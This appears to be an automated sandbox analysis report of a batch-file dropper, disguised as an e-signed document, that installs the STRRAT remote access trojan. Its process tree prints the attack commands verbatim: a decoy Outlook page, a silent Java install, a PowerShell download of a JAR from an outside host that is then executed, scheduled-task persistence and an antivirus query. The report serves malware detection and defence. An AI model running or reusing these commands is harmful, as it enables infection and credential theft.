Overview

overview

10

Static

static

1

esigned-do...ml.bat

windows7-x64

8

esigned-do...ml.bat

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-01-2025 13:57

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    esigned-document_eml.bat

  • Size

    2KB

  • MD5

    a0d37228b4ad0ebea6537b99cbcb7ff0

  • SHA1

    cec0438ed7acde6a177bc220df2d4fa94352e539

  • SHA256

    e85d8640a62e0d223fe9892384eecb8bb9e67d4bf2fc020881058506b33bec30

  • SHA512

    a4fda2b2adbe591bbfb44fb0949becf75349f5255f197008727486f15e0cc18fcdbce6c1d3ba16e65a5e32a5d8ffc857cfa75402975eafedf4c11524d4f1f9ea

Score
10/10
strratadwarediscoveryexecutionpersistenceprivilege_escalationstealertrojan

Malware Config

Signatures

  • STRRAT

    STRRAT is a remote access tool than can steal credentials and log keystrokes.

    trojanstealerstrrat
  • Strrat family
    strrat
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Powershell Invoke Web Request.

    execution
  • Downloads MZ/PE file
  • Drops startup file 1 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 16 IoCs
  • Loads dropped DLL 64 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Installs/modifies Browser Helper Object 2 TTPs 4 IoCs

    BHOs are DLL modules which act as plugins for Internet Explorer.

    stealeradware
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 36 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 31 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 3 IoCs
    evasion
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 20 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 35 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 27 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\esigned-document_eml.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2616
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$shell = New-Object -ComObject Shell.Application; $shell.MinimizeAll()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4180
    • C:\Windows\system32\fsutil.exe
      fsutil dirty query C:
      2⤵
        PID:1264
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "$shell = New-Object -ComObject Shell.Application; $shell.MinimizeAll()"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:2864
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Start-Process 'https://outlook.office365.com/Encryption/ErrorPage.aspx?src=3&code=11&be=SN6PR04MB4014&fe=JNAP275CA0040.ZAFP275.PROD.OUTLOOgK.COM&loc=en-US&itemID=E4E_M_e9df154a-e4b8-4486-8aec-7acceeb93fee'"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1576
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://outlook.office365.com/Encryption/ErrorPage.aspx?src=3&code=11&be=SN6PR04MB4014&fe=JNAP275CA0040.ZAFP275.PROD.OUTLOOgK.COM&loc=en-US&itemID=E4E_M_e9df154a-e4b8-4486-8aec-7acceeb93fee
          3⤵
          • Enumerates system info in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:2172
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffb78dd46f8,0x7ffb78dd4708,0x7ffb78dd4718
            4⤵
              PID:2476
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,12339082147915161214,17233874444371162504,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2148 /prefetch:2
              4⤵
                PID:3776
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2140,12339082147915161214,17233874444371162504,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 /prefetch:3
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:2312
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2140,12339082147915161214,17233874444371162504,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2984 /prefetch:8
                4⤵
                  PID:912
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,12339082147915161214,17233874444371162504,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3292 /prefetch:1
                  4⤵
                    PID:4640
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,12339082147915161214,17233874444371162504,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3300 /prefetch:1
                    4⤵
                      PID:2148
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,12339082147915161214,17233874444371162504,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4672 /prefetch:1
                      4⤵
                        PID:4620
                      • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2140,12339082147915161214,17233874444371162504,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4980 /prefetch:8
                        4⤵
                          PID:452
                        • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2140,12339082147915161214,17233874444371162504,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4980 /prefetch:8
                          4⤵
                          • Suspicious behavior: EnumeratesProcesses
                          PID:4564
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,12339082147915161214,17233874444371162504,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5032 /prefetch:1
                          4⤵
                            PID:4788
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,12339082147915161214,17233874444371162504,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5060 /prefetch:1
                            4⤵
                              PID:2760
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,12339082147915161214,17233874444371162504,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5552 /prefetch:1
                              4⤵
                                PID:4284
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,12339082147915161214,17233874444371162504,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1748 /prefetch:2
                                4⤵
                                • Suspicious behavior: EnumeratesProcesses
                                PID:5864
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell -Command "Invoke-WebRequest -Uri 'https://javadl.oracle.com/webapps/download/AutoDL?BundleId=250111_d8aa705069af427f9b83e66b34f5e380' -OutFile 'C:\Temp\JavaSetup8u421.exe'"
                            2⤵
                            • Blocklisted process makes network request
                            • Command and Scripting Interpreter: PowerShell
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1016
                          • C:\Temp\JavaSetup8u421.exe
                            "C:\Temp\JavaSetup8u421.exe" /s INSTALL_SILENT=1 STATIC=1
                            2⤵
                            • Executes dropped EXE
                            • System Location Discovery: System Language Discovery
                            PID:5036
                            • C:\Users\Admin\AppData\Local\Temp\jds240617296.tmp\JavaSetup8u421.exe
                              "C:\Users\Admin\AppData\Local\Temp\jds240617296.tmp\JavaSetup8u421.exe" "/s" "INSTALL_SILENT=1" "STATIC=1"
                              3⤵
                              • Executes dropped EXE
                              • Adds Run key to start application
                              • System Location Discovery: System Language Discovery
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4944
                              • C:\Users\Admin\AppData\LocalLow\Oracle\Java\jre1.8.0_421\LZMA_EXE
                                "C:\Users\Admin\AppData\LocalLow\Oracle\Java\jre1.8.0_421\LZMA_EXE" d "C:\Users\Admin\AppData\LocalLow\Oracle\Java\jre1.8.0_421\au.msi" "C:\Users\Admin\AppData\LocalLow\Oracle\Java\jre1.8.0_421\msi.tmp"
                                4⤵
                                • Executes dropped EXE
                                • System Location Discovery: System Language Discovery
                                PID:4316
                              • C:\Users\Admin\AppData\LocalLow\Oracle\Java\jre1.8.0_421\LZMA_EXE
                                "C:\Users\Admin\AppData\LocalLow\Oracle\Java\jre1.8.0_421\LZMA_EXE" d "C:\Users\Admin\AppData\LocalLow\Oracle\Java\jre1.8.0_421\jre1.8.0_421.msi" "C:\Users\Admin\AppData\LocalLow\Oracle\Java\jre1.8.0_421\msi.tmp"
                                4⤵
                                • Executes dropped EXE
                                PID:452
                              • C:\Program Files (x86)\Java\jre1.8.0_421\bin\javaw.exe
                                -Djdk.disableLastUsageTracking -cp "C:\Program Files (x86)\Java\jre1.8.0_421\bin\..\lib\deploy.jar" com.sun.deploy.panel.ControlPanel -systemConfig deployment.expiration.check.enabled false
                                4⤵
                                • Executes dropped EXE
                                • Drops file in Windows directory
                                • System Location Discovery: System Language Discovery
                                PID:5972
                          • C:\Windows\system32\timeout.exe
                            timeout /t 45 /nobreak
                            2⤵
                            • Delays execution with timeout.exe
                            PID:5056
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell -Command "Invoke-WebRequest -Uri 'https://boyunglee.com/tert/tre2.jar' -OutFile 'C:\Temp\tre2.jar'"
                            2⤵
                            • Blocklisted process makes network request
                            • Command and Scripting Interpreter: PowerShell
                            • Suspicious behavior: EnumeratesProcesses
                            PID:2864
                          • C:\Windows\system32\timeout.exe
                            timeout /t 15 /nobreak
                            2⤵
                            • Delays execution with timeout.exe
                            PID:5792
                          • C:\Program Files (x86)\Java\jre1.8.0_421\bin\java.exe
                            "C:\Program Files (x86)\Java\jre1.8.0_421\bin\java.exe" -jar "C:\Temp\tre2.jar"
                            2⤵
                            • Executes dropped EXE
                            • System Location Discovery: System Language Discovery
                            PID:5088
                            • C:\Program Files (x86)\Java\jre1.8.0_421\bin\java.exe
                              "C:\Program Files (x86)\Java\jre1.8.0_421\bin\java.exe" -jar "C:\Users\Admin\tre2.jar"
                              3⤵
                              • Drops startup file
                              • Executes dropped EXE
                              • Adds Run key to start application
                              • System Location Discovery: System Language Discovery
                              PID:5000
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd /c schtasks /create /sc minute /mo 30 /tn Skype /tr "C:\Users\Admin\AppData\Roaming\tre2.jar"
                                4⤵
                                • System Location Discovery: System Language Discovery
                                PID:5192
                                • C:\Windows\SysWOW64\schtasks.exe
                                  schtasks /create /sc minute /mo 30 /tn Skype /tr "C:\Users\Admin\AppData\Roaming\tre2.jar"
                                  5⤵
                                  • System Location Discovery: System Language Discovery
                                  • Scheduled Task/Job: Scheduled Task
                                  PID:4664
                              • C:\Program Files (x86)\Java\jre1.8.0_421\bin\java.exe
                                "C:\Program Files (x86)\Java\jre1.8.0_421\bin\java.exe" -jar "C:\Users\Admin\AppData\Roaming\tre2.jar"
                                4⤵
                                • Executes dropped EXE
                                • System Location Discovery: System Language Discovery
                                PID:3564
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd.exe /c "wmic /node:. /namespace:'\\root\cimv2' path win32_logicaldisk get volumeserialnumber /format:list"
                                  5⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:5560
                                  • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                    wmic /node:. /namespace:'\\root\cimv2' path win32_logicaldisk get volumeserialnumber /format:list
                                    6⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:2280
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd.exe /c "wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get caption,OSArchitecture /format:list"
                                  5⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:2760
                                  • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                    wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get caption,OSArchitecture /format:list
                                    6⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:3504
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd.exe /c "wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get version /format:list"
                                  5⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:5620
                                  • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                    wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get version /format:list
                                    6⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:5652
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd.exe /c "wmic /node:localhost /namespace:'\\root\securitycenter2' path antivirusproduct get displayname /format:list"
                                  5⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:1292
                                  • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                    wmic /node:localhost /namespace:'\\root\securitycenter2' path antivirusproduct get displayname /format:list
                                    6⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:5776
                          • C:\Windows\system32\timeout.exe
                            timeout /t 5 /nobreak
                            2⤵
                            • Delays execution with timeout.exe
                            PID:2680
                          • C:\Program Files (x86)\Java\jre1.8.0_421\bin\java.exe
                            "C:\Program Files (x86)\Java\jre1.8.0_421\bin\java.exe" -jar "C:\Temp\tre2.jar"
                            2⤵
                            • Executes dropped EXE
                            • System Location Discovery: System Language Discovery
                            PID:5324
                        • C:\Windows\System32\CompPkgSrv.exe
                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                          1⤵
                            PID:3900
                          • C:\Windows\System32\CompPkgSrv.exe
                            C:\Windows\System32\CompPkgSrv.exe -Embedding
                            1⤵
                              PID:2088
                            • C:\Windows\system32\msiexec.exe
                              C:\Windows\system32\msiexec.exe /V
                              1⤵
                              • Enumerates connected drives
                              • Drops file in Program Files directory
                              • Drops file in Windows directory
                              • Checks processor information in registry
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2416
                              • C:\Windows\syswow64\MsiExec.exe
                                C:\Windows\syswow64\MsiExec.exe -Embedding 32B4A23233BE7757F089D796A6F4C976
                                2⤵
                                • Loads dropped DLL
                                • System Location Discovery: System Language Discovery
                                PID:2440
                              • C:\Program Files (x86)\Java\jre1.8.0_421\installer.exe
                                "C:\Program Files (x86)\Java\jre1.8.0_421\installer.exe" /s INSTALLDIR="C:\Program Files (x86)\Java\jre1.8.0_421\\" STATIC=1 WEB_ANALYTICS=Disable EULA=Disable INSTALL_SILENT=1 AUTO_UPDATE=Disable SPONSORS=Disable REPAIRMODE=0 ProductCode={77924AE4-039E-4CA4-87B4-2F32180421F0}
                                2⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                • Installs/modifies Browser Helper Object
                                • Drops file in System32 directory
                                • System Location Discovery: System Language Discovery
                                • Modifies Internet Explorer settings
                                • Modifies data under HKEY_USERS
                                • Modifies registry class
                                PID:5900
                                • C:\Program Files (x86)\Java\jre1.8.0_421\bin\javaw.exe
                                  "C:\Program Files (x86)\Java\jre1.8.0_421\bin\javaw.exe" -Xshare:dump -Djdk.disableLastUsageTracking
                                  3⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Drops file in Program Files directory
                                  • System Location Discovery: System Language Discovery
                                  PID:5192
                                • C:\Program Files (x86)\Java\jre1.8.0_421\bin\ssvagent.exe
                                  "C:\Program Files (x86)\Java\jre1.8.0_421\bin\ssvagent.exe" -doHKCUSSVSetup
                                  3⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • System Location Discovery: System Language Discovery
                                  • Modifies registry class
                                  PID:5256
                                • C:\Program Files (x86)\Java\jre1.8.0_421\bin\javaws.exe
                                  "C:\Program Files (x86)\Java\jre1.8.0_421\bin\javaws.exe" -wait -fix -permissions -silent
                                  3⤵
                                  • Executes dropped EXE
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:5268
                                  • C:\Program Files (x86)\Java\jre1.8.0_421\bin\jp2launcher.exe
                                    "C:\Program Files (x86)\Java\jre1.8.0_421\bin\jp2launcher.exe" -secure -javaws -jre "C:\Program Files (x86)\Java\jre1.8.0_421" -vma LWNsYXNzcGF0aABDOlxQcm9ncmFtIEZpbGVzICh4ODYpXEphdmFcanJlMS44LjBfNDIxXGxpYlxkZXBsb3kuamFyAC1EamF2YS5zZWN1cml0eS5wb2xpY3k9ZmlsZTpDOlxQcm9ncmFtIEZpbGVzICh4ODYpXEphdmFcanJlMS44LjBfNDIxXGxpYlxzZWN1cml0eVxqYXZhd3MucG9saWN5AC1EdHJ1c3RQcm94eT10cnVlAC1YdmVyaWZ5OnJlbW90ZQAtRGpubHB4LmhvbWU9QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxKYXZhXGpyZTEuOC4wXzQyMVxiaW4ALURqYXZhLnNlY3VyaXR5Lm1hbmFnZXIALURzdW4uYXd0Lndhcm11cD10cnVlAC1YYm9vdGNsYXNzcGF0aC9hOkM6XFByb2dyYW0gRmlsZXMgKHg4NilcSmF2YVxqcmUxLjguMF80MjFcbGliXGphdmF3cy5qYXI7QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxKYXZhXGpyZTEuOC4wXzQyMVxsaWJcZGVwbG95LmphcjtDOlxQcm9ncmFtIEZpbGVzICh4ODYpXEphdmFcanJlMS44LjBfNDIxXGxpYlxwbHVnaW4uamFyAC1EamF2YS5hd3QuaGVhZGxlc3M9dHJ1ZQAtRGpubHB4Lmp2bT1DOlxQcm9ncmFtIEZpbGVzICh4ODYpXEphdmFcanJlMS44LjBfNDIxXGJpblxqYXZhdy5leGU= -ma LXdhaXQALWZpeAAtcGVybWlzc2lvbnMALXNpbGVudAAtbm90V2ViSmF2YQ==
                                    4⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of SetWindowsHookEx
                                    PID:2180
                                • C:\Program Files (x86)\Java\jre1.8.0_421\bin\javaws.exe
                                  "C:\Program Files (x86)\Java\jre1.8.0_421\bin\javaws.exe" -wait -fix -shortcut -silent
                                  3⤵
                                  • Executes dropped EXE
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:5676
                                  • C:\Program Files (x86)\Java\jre1.8.0_421\bin\jp2launcher.exe
                                    "C:\Program Files (x86)\Java\jre1.8.0_421\bin\jp2launcher.exe" -secure -javaws -jre "C:\Program Files (x86)\Java\jre1.8.0_421" -vma LWNsYXNzcGF0aABDOlxQcm9ncmFtIEZpbGVzICh4ODYpXEphdmFcanJlMS44LjBfNDIxXGxpYlxkZXBsb3kuamFyAC1EamF2YS5zZWN1cml0eS5wb2xpY3k9ZmlsZTpDOlxQcm9ncmFtIEZpbGVzICh4ODYpXEphdmFcanJlMS44LjBfNDIxXGxpYlxzZWN1cml0eVxqYXZhd3MucG9saWN5AC1EdHJ1c3RQcm94eT10cnVlAC1YdmVyaWZ5OnJlbW90ZQAtRGpubHB4LmhvbWU9QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxKYXZhXGpyZTEuOC4wXzQyMVxiaW4ALURqYXZhLnNlY3VyaXR5Lm1hbmFnZXIALURzdW4uYXd0Lndhcm11cD10cnVlAC1YYm9vdGNsYXNzcGF0aC9hOkM6XFByb2dyYW0gRmlsZXMgKHg4NilcSmF2YVxqcmUxLjguMF80MjFcbGliXGphdmF3cy5qYXI7QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxKYXZhXGpyZTEuOC4wXzQyMVxsaWJcZGVwbG95LmphcjtDOlxQcm9ncmFtIEZpbGVzICh4ODYpXEphdmFcanJlMS44LjBfNDIxXGxpYlxwbHVnaW4uamFyAC1EamF2YS5hd3QuaGVhZGxlc3M9dHJ1ZQAtRGpubHB4Lmp2bT1DOlxQcm9ncmFtIEZpbGVzICh4ODYpXEphdmFcanJlMS44LjBfNDIxXGJpblxqYXZhdy5leGU= -ma LXdhaXQALWZpeAAtc2hvcnRjdXQALXNpbGVudAAtbm90V2ViSmF2YQ==
                                    4⤵
                                    • Executes dropped EXE
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of SetWindowsHookEx
                                    PID:5692
                              • C:\Windows\syswow64\MsiExec.exe
                                C:\Windows\syswow64\MsiExec.exe -Embedding 8DD785D7AD0706DF166958A5D3FE3C89 E Global\MSI0000
                                2⤵
                                • System Location Discovery: System Language Discovery
                                PID:6104
                              • C:\Windows\syswow64\MsiExec.exe
                                C:\Windows\syswow64\MsiExec.exe -Embedding 11BB119BF286EFF8341A19D7E41FB9D0
                                2⤵
                                • System Location Discovery: System Language Discovery
                                PID:3636
                              • C:\Windows\syswow64\MsiExec.exe
                                C:\Windows\syswow64\MsiExec.exe -Embedding 4885ECEE76EC8CF228771A0C70203D07 E Global\MSI0000
                                2⤵
                                • System Location Discovery: System Language Discovery
                                PID:5500
                              • C:\Windows\syswow64\MsiExec.exe
                                C:\Windows\syswow64\MsiExec.exe -Embedding DF500417E7C0C2E26CE81B3237EC2AF4
                                2⤵
                                • System Location Discovery: System Language Discovery
                                PID:5480
                              • C:\Windows\syswow64\MsiExec.exe
                                C:\Windows\syswow64\MsiExec.exe -Embedding 3ED9D2AF9BC80E04588AC85B53FE32DD E Global\MSI0000
                                2⤵
                                • System Location Discovery: System Language Discovery
                                PID:5148

                            Network

                            MITRE ATT&CK Enterprise v15

                            Reconnaissance

                            Resource Development

                            Initial Access

                            Execution

                            Command and Scripting Interpreter

                            1
                            T1059

                            PowerShell

                            1
                            T1059.001

                            Scheduled Task/Job

                            1
                            T1053

                            Scheduled Task

                            1
                            T1053.005

                            Persistence

                            Boot or Logon Autostart Execution

                            1
                            T1547

                            Registry Run Keys / Startup Folder

                            1
                            T1547.001

                            Browser Extensions

                            1
                            T1176

                            Event Triggered Execution

                            1
                            T1546

                            Component Object Model Hijacking

                            1
                            T1546.015

                            Scheduled Task/Job

                            1
                            T1053

                            Scheduled Task

                            1
                            T1053.005

                            Privilege Escalation

                            Boot or Logon Autostart Execution

                            1
                            T1547

                            Registry Run Keys / Startup Folder

                            1
                            T1547.001

                            Event Triggered Execution

                            1
                            T1546

                            Component Object Model Hijacking

                            1
                            T1546.015

                            Scheduled Task/Job

                            1
                            T1053

                            Scheduled Task

                            1
                            T1053.005

                            Defense Evasion

                            Modify Registry

                            3
                            T1112

                            Credential Access

                            Discovery

                            Browser Information Discovery

                            1
                            T1217

                            Peripheral Device Discovery

                            1
                            T1120

                            Query Registry

                            3
                            T1012

                            System Information Discovery

                            4
                            T1082

                            System Location Discovery

                            1
                            T1614

                            System Language Discovery

                            1
                            T1614.001

                            Lateral Movement

                            Collection

                            Command and Control

                            Exfiltration

                            Impact

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • C:\Config.Msi\e57bd29.rbs
                              Filesize

                              758KB

                              MD5

                              ee4ff196f02747a2a9c6e2dbafe9804e

                              SHA1

                              dc27bb6544f44568855a55605e10070cbac2083d

                              SHA256

                              6a54ffff691cfa76ee70666202c101dfc6e595f9285b30715e843752777cc1c2

                              SHA512

                              8db35610195dd9cd8c0b651fb7f1737b6380a29a208b5294ac3bbffe76dcbafe526c2f2d437b523f74cdd958def5bcd5da6b33fb7b431e7b0367de86c0dc6b32

                              Download Submit

                            • C:\Config.Msi\e57bd2d.rbs
                              Filesize

                              7KB

                              MD5

                              efa3a2e0a15958ea0e83c42342864abd

                              SHA1

                              651389581597cbd66ece95913f2f80be2a60c316

                              SHA256

